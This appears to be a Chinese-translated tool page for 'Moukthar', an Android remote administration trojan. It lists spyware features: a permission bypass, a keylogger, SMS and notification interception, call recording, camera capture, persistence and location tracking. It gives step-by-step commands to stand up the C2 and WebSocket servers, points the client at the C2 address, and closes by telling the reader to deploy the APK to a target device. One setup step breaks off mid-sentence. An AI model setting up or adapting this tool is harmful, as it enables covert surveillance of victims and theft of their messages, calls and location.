moukthar

Moukthar

安卓远程管理工具

演示

功能

• 权限绕过（安卓12以下）
• 键盘记录器
• 通知监听
• 短信监听
• 通话录音
• 图像捕获与截图
• 视频录制
• 持久化
• 读取与写入联系人
• 列出已安装应用
• 下载与上传文件
• 获取设备位置

安装

• 克隆仓库
  root@kitploit:~

  git clone https://github.com/Tomiwa-Ot/moukthar.git
  

• 安装 php、composer、mysql、php-mysql 驱动、apache2 和 a2enmod
• 将服务器文件移动到 /var/www/html/ 并安装依赖
  root@kitploit:~

  mv moukthar/Server/* /var/www/html/
  cd /var/www/html/c2-server
  composer install
  cd /var/www/html/web-socket/
  composer install
  cd /var/www
  chown -R www-data:www-data .
  chmod -R 777 .
  

  默认凭据为用户名：android，密码：android
• 创建新的 sql 用户
  root@kitploit:~

  CREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
  GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
  FLUSH PRIVILEGES;
  

• 在 c2-server/.env 和 web-socket/.env 中设置数据库凭据
• 执行 database.sql
• 启动 WebSocket 服务器或部署为 Linux 服务
  root@kitploit:~

  php Server/web-socket/App.php
  # 或
  sudo mv Server/websocket.service /etc/systemd/system/
  sudo systemctl daemon-reload
  sudo systemctl enable websocket.service
  sudo systemctl start websocket.service
  

• 修改 /etc/apache2/sites-available/000-default.conf
  root@kitploit:~

  <VirtualHost *:80>
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html/c2-server
        DirectoryIndex app.php
        Options -Indexes
  
        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
  </VirtualHost>
  
  

• 修改 /etc/apache2/apache2.conf
  root@kitploit:~

    注释掉此部分
    #<Directory />
    #       Options FollowSymLinks
    #       AllowOverride None
    #       Require all denied
    #</Directory>
  
   添加以下内容
    <Directory /var/www/html/c2-server>
        Options -Indexes
        DirectoryIndex app.php
        AllowOverride All
        Require all granted
    </Directory>
  

• 增加 PHP 文件上传最大大小 /etc/php/*.*/apache2/php.ini
  root@kitploit:~

  ; 增加大小以允许客户端上传大文件
  upload_max_filesize = 128M
  ; 将 post_max_size 设置为 upload_max_filesize + 1
  post_max_size = 129M
  

• 在 c2-server/src/View/home.php 和 c2-server/src/View/features/files.php 的
• 使用以下命令重启 Apache
  root@kitploit:~

  sudo a2enmod rewrite && sudo service apache2 restart
  

• 在客户端 functionality/Utils.java 中设置 C2 服务器和 WebSocket 服务器地址
  root@kitploit:~

  public static final String C2_SERVER = "http://localhost";
  
  public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
  

• 使用 Android Studio 编译 APK 并部署到目标设备

截图

待办

• 仪表盘日志自动滚动
• 截图功能未生效
• 应用未在前台时图像/视频捕获无效
• 应用内使用 DownloadManager 下载文件无效
• 列出目录内容时未能列出所有文件/文件夹